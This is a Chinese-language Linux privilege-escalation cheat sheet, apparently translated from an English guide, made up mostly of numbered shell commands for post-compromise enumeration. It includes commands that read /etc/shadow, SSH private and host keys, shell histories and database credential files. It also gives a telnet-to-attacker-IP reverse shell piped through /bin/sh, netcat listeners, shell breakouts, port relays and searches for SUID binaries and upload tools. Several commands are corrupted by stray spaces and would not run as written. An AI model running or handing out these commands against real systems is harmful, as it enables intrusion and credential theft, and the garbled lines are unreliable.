在本文开始之前,我想指出我不是专家。据我所知,在这个庞大的区域,没有一个“神奇”的答案.分享,共享(我的出发点)。下面是一个混合的命令做同样的事情,在不同的地方,或只是一个不同的眼光来看待事物。我知道有更多的“东西”去寻找。这只是一个基本粗略的指南。并不是每一个命令,做好要注重细节.
文中的每行为一条命令,文中有的命令可能在你的主机上敲不出来,因为它可能是在其他版本的linux中所使用的命令。
列举关键点
(Linux)的提权是怎么一回事:
- 收集 – 枚举,枚举和一些更多的枚举。
- 过程 – 通过数据排序,分析和确定优先次序。
- 搜索 – 知道搜索什么和在哪里可以找到漏洞代码。
- 适应 – 自定义的漏洞,所以它适合。每个系统的工作并不是每一个漏洞“都固定不变”。
- 尝试 – 做好准备,试验和错误。
- 操作类型
操作类型是什么版本?
1 |
cat /etc/issue |
2 |
cat /etc/*-release |
3 |
cat /etc/lsb-release |
4 |
cat /etc/redhat-release |
它的内核版本是什么?
1 |
cat /proc/version |
2 |
uname -a |
3 |
uname -mrs |
4 |
rpm -q kernel |
5 |
dmesg | grep Linux |
6 |
ls /boot | grep vmlinuz |
它的环境变量里有些什么?
1 |
cat /etc/profile |
2 |
cat /etc/bashrc |
3 |
cat ~/.bash_profile |
4 |
cat ~/.bashrc |
5 |
cat ~/.bash_logout |
6 |
env |
7 |
set |
是否有台打印机?
1 |
lpstat -a |
- 应用与服务
正在运行什么服务?什么样的服务具有什么用户权限?
1 |
ps aux |
2 |
ps -ef |
3 |
top |
4 |
cat /etc/service |
哪些服务具有root的权限?这些服务里你看起来那些有漏洞,进行再次检查!
1 |
ps aux | grep root |
2 |
ps -ef | grep root |
安装了哪些应用程序?他们是什么版本?哪些是当前正在运行的?
1 |
ls -alh /usr/bin/ |
2 |
ls -alh /sbin/ |
3 |
dpkg -l |
4 |
rpm -qa |
5 |
ls -alh /var/cache/apt/archivesO |
6 |
ls -alh /var/cache/yum/ |
Service设置,有任何的错误配置吗?是否有任何(脆弱的)的插件?
01 |
cat /etc/syslog.conf |
02 |
cat /etc/chttp.conf |
03 |
cat /etc/lighttpd.conf |
04 |
cat /etc/cups/cupsd.conf |
05 |
cat /etc/inetd.conf |
06 |
cat /etc/apache2/apache2.conf |
07 |
cat /etc/my.conf |
08 |
cat /etc/httpd/conf/httpd.conf |
09 |
cat /opt/lampp/etc/httpd.conf |
10 |
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ |
主机上有哪些工作计划?
01 |
crontab -l |
02 |
ls -alh /var/spool/ cron |
03 |
ls -al /etc/ | grep cron |
04 |
ls -al /etc/ cron * |
05 |
cat /etc/ cron * |
06 |
cat /etc/at.allow |
07 |
cat /etc/at.deny |
08 |
cat /etc/ cron .allow |
09 |
cat /etc/ cron .deny |
10 |
cat /etc/ crontab |
11 |
cat /etc/anacrontab |
12 |
cat /var/spool/ cron /crontabs/root |
主机上可能有哪些纯文本用户名和密码?
1 |
grep -i user [filename] |
2 |
grep -i pass [filename] |
3 |
grep -C 5 "password" [filename] |
4 |
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla |
- 通信与网络
NIC(s),系统有哪些?它是连接到哪一个网络?
1 |
/sbin/ ifconfig -a |
2 |
cat /etc/network/interfaces |
3 |
cat /etc/sysconfig/network |
网络配置设置是什么?网络中有什么样的服务器?DHCP服务器?DNS服务器?网关?
1 |
cat /etc/resolv.conf |
2 |
cat /etc/sysconfig/network |
3 |
cat /etc/networks |
4 |
iptables -L |
5 |
hostname |
6 |
dnsdomainname |
其他用户主机与系统的通信?
01 |
lsof -i |
02 |
lsof -i :80 |
03 |
grep 80 /etc/services |
04 |
netstat -antup |
05 |
netstat -antpx |
06 |
netstat -tulpn |
07 |
chkconfig --list |
08 |
chkconfig --list | grep 3:on |
09 |
last |
10 |
w |
缓存?IP和/或MAC地址?
1 |
arp -e |
2 |
route |
3 |
/sbin/route -nee |
数据包可能嗅探吗?可以看出什么?监听流量
1 |
# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port] |
2 |
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21 |
你如何get一个shell?你如何与系统进行交互?
# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
1 |
nc -lvp 4444 # Attacker. 输入 (命令) |
2 |
nc -lvp 4445 # Attacker. 输出(结果) |
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # 在目标系统上. 使用 攻击者的IP!
如何端口转发?(端口重定向)
# rinetd
# fpipe
1 |
# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP] |
2 |
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 |
#ssh
1 |
# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip] |
2 |
ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # Local Port |
3 |
ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # Remote Port |
#mknod
1 |
# mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe |
2 |
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe # Port Relay |
3 |
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe # Proxy (Port 80 to 8080) |
4 |
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe # Proxy monitor (Port 80 to 8080) |
建立隧道可能吗?本地,远程发送命令
1 |
ssh -D 127.0.0.1:9050 -N [username]@[ip] |
2 |
proxychains ifconfig |
- 秘密信息和用户
你是谁?哪个id登录?谁已经登录?还有谁在这里?谁可以做什么呢?
1 |
id |
2 |
who |
3 |
w |
4 |
last |
5 |
cat /etc/ passwd | cut -d: # List of users |
6 |
grep - v -E "^#" /etc/ passwd | awk -F: '$3 == 0 { print $1}' # List of super users |
7 |
awk -F: '($3 == "0") {print}' /etc/ passwd # List of super users |
8 |
cat /etc/sudoers |
9 |
sudo -l |
可以找到什么敏感文件?
1 |
cat /etc/ passwd |
2 |
cat /etc/group |
3 |
cat /etc/shadow |
4 |
ls -alh /var/mail/ |
什么有趣的文件在home/directorie(S)里?如果有权限访问
1 |
ls -ahlR /root/ |
2 |
ls -ahlR /home/ |
是否有任何密码,脚本,数据库,配置文件或日志文件?密码默认路径和位置
1 |
cat /var/apache2/config.inc |
2 |
cat /var/lib/mysql/mysql/user.MYD |
3 |
cat /root/anaconda-ks.cfg |
用户做过什么?是否有任何密码呢?他们有没有编辑什么?
1 |
cat ~/.bash_history |
2 |
cat ~/.nano_history |
3 |
cat ~/.atftp_history |
4 |
cat ~/.mysql_history |
5 |
cat ~/.php_history |
可以找到什么样的用户信息
1 |
cat ~/.bashrc |
2 |
cat ~/.profile |
3 |
cat /var/mail/root |
4 |
cat /var/spool/mail/root |
private-key 信息能否被发现?
01 |
cat ~/. ssh /authorized_keys |
02 |
cat ~/. ssh /identity.pub |
03 |
cat ~/. ssh /identity |
04 |
cat ~/. ssh /id_rsa.pub |
05 |
cat ~/. ssh /id_rsa |
06 |
cat ~/. ssh /id_dsa.pub |
07 |
cat ~/. ssh /id_dsa |
08 |
cat /etc/ ssh /ssh_config |
09 |
cat /etc/ ssh /sshd_config |
10 |
cat /etc/ ssh /ssh_host_dsa_key.pub |
11 |
cat /etc/ ssh /ssh_host_dsa_key |
12 |
cat /etc/ ssh /ssh_host_rsa_key.pub |
13 |
cat /etc/ ssh /ssh_host_rsa_key |
14 |
cat /etc/ ssh /ssh_host_key.pub |
15 |
cat /etc/ ssh /ssh_host_key |
- 文件系统
哪些用户可以写配置文件在/ etc /?能够重新配置服务?
1 |
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone |
1 |
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner |
1 |
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group |
1 |
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other |
1 |
find /etc/ -readable - type f 2>/dev/null # Anyone |
2 |
find /etc/ -readable - type f -maxdepth 1 2>/dev/null # Anyone |
在/ var /有什么可以发现?
1 |
ls -alh /var/log |
2 |
ls -alh /var/mail |
3 |
ls -alh /var/spool |
4 |
ls -alh /var/spool/lpd |
5 |
ls -alh /var/lib/pgsql |
6 |
ls -alh /var/lib/mysql |
7 |
cat /var/lib/dhcp3/dhclient.leases |
网站上的任何隐藏配置/文件?配置文件与数据库信息?
1 |
ls -alhR /var/www/ |
2 |
ls -alhR /srv/www/htdocs/ |
3 |
ls -alhR /usr/ local /www/apache22/data/ |
4 |
ls -alhR /opt/lampp/htdocs/ |
5 |
ls -alhR /var/www/html/ |
有什么在日志文件里?(什么能够帮助到“本地文件包含”?)
# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
01 |
cat /etc/httpd/logs/access_log |
02 |
cat /etc/httpd/logs/access.log |
03 |
cat /etc/httpd/logs/error_log |
04 |
cat /etc/httpd/logs/error.log |
05 |
cat /var/log/apache2/access_log |
06 |
cat /var/log/apache2/access.log |
07 |
cat /var/log/apache2/error_log |
08 |
cat /var/log/apache2/error.log |
09 |
cat /var/log/apache/access_log |
10 |
cat /var/log/apache/access.log |
11 |
cat /var/log/auth.log |
12 |
cat /var/log/chttp.log |
13 |
cat /var/log/cups/error_log |
14 |
cat /var/log/dpkg.log |
15 |
cat /var/log/faillog |
16 |
cat /var/log/httpd/access_log |
17 |
cat /var/log/httpd/access.log |
18 |
cat /var/log/httpd/error_log |
19 |
cat /var/log/httpd/error.log |
20 |
cat /var/log/lastlog |
21 |
cat /var/log/lighttpd/access.log |
22 |
cat /var/log/lighttpd/error.log |
23 |
cat /var/log/lighttpd/lighttpd.access.log |
24 |
cat /var/log/lighttpd/lighttpd.error.log |
25 |
cat /var/log/messages |
26 |
cat /var/log/secure |
27 |
cat /var/log/syslog |
28 |
cat /var/log/wtmp |
29 |
cat /var/log/xferlog |
30 |
cat /var/log/yum.log |
31 |
cat /var/run/utmp |
32 |
cat /var/webmin/miniserv.log |
33 |
cat /var/www/logs/access_log |
34 |
cat /var/www/logs/access.log |
1 |
ls -alh /var/lib/dhcp3/ |
2 |
ls -alh /var/log/postgresql/ |
3 |
ls -alh /var/log/proftpd/ |
4 |
ls -alh /var/log/samba/ |
5 |
#
auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info,
mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导......) |
如果命令限制,你可以打出哪些突破它的限制?
1 |
python -c 'import pty;pty.spawn("/bin/bash")' |
1 |
echo os.system( '/bin/bash' ) |
1 |
/bin/sh -i |
如何安装文件系统?
1 |
mount |
2 |
df -h |
是否有挂载的文件系统?
1 |
cat /etc/fstab |
什么是高级Linux文件权限使用?Sticky bits, SUID 和GUID
1 |
find / -perm -1000 - type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here |
2 |
find / -perm -g=s - type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it. |
3 |
find / -perm -u=s - type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it. |
4 |
find / -perm -g=s -o -perm -u=s - type f 2>/dev/null # SGID or SUID |
5 |
for i in ` locate -r "bin$" `; do find $i ( -perm -4000 -o -perm -2000 ) - type f 2>/dev/null; done #
Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin,
/usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID
(Quicker search) |
6 |
7 |
#
findstarting at root (/), SGIDorSUID, not Symbolic links, only 3
folders deep, list with more detail and hideany errors (e.g. permission
denied) |
8 |
9 |
find /-perm -g=s-o-perm -4000! - type l-maxdepth 3 - exec ls -ld {} ;2>/dev/null |
在哪些目录可以写入和执行呢?几个“共同”的目录:/ tmp目录,/var / tmp目录/ dev /shm目录
1 |
find / -writable - type d 2>/dev/null # world-writeable folders |
2 |
find / -perm -222 - type d 2>/dev/null # world-writeable folders |
3 |
find / -perm -o+w - type d 2>/dev/null # world-writeable folders |
4 |
find / -perm -o+x - type d 2>/dev/null # world-executable folders |
5 |
find / ( -perm -o+w -perm -o+x ) - type d 2>/dev/null # world-writeable & executable folders |
6 |
Any "problem" files?可写的的,“没有使用"的文件 |
7 |
find / -xdev - type d ( -perm -0002 -a ! -perm -1000 ) -print # world-writeable files |
8 |
find / dir -xdev ( -nouser -o -nogroup ) -print # Noowner files |
- 准备和查找漏洞利用代码
安装了什么开发工具/语言/支持?
1 |
find / -name perl* |
2 |
find / -name python* |
3 |
find / -name gcc* |
4 |
find / -name cc |
如何上传文件?
1 |
find / -name wget |
2 |
find / -name nc* |
3 |
find / -name netcat* |
4 |
find / -name tftp* |
5 |
find / -name ftp |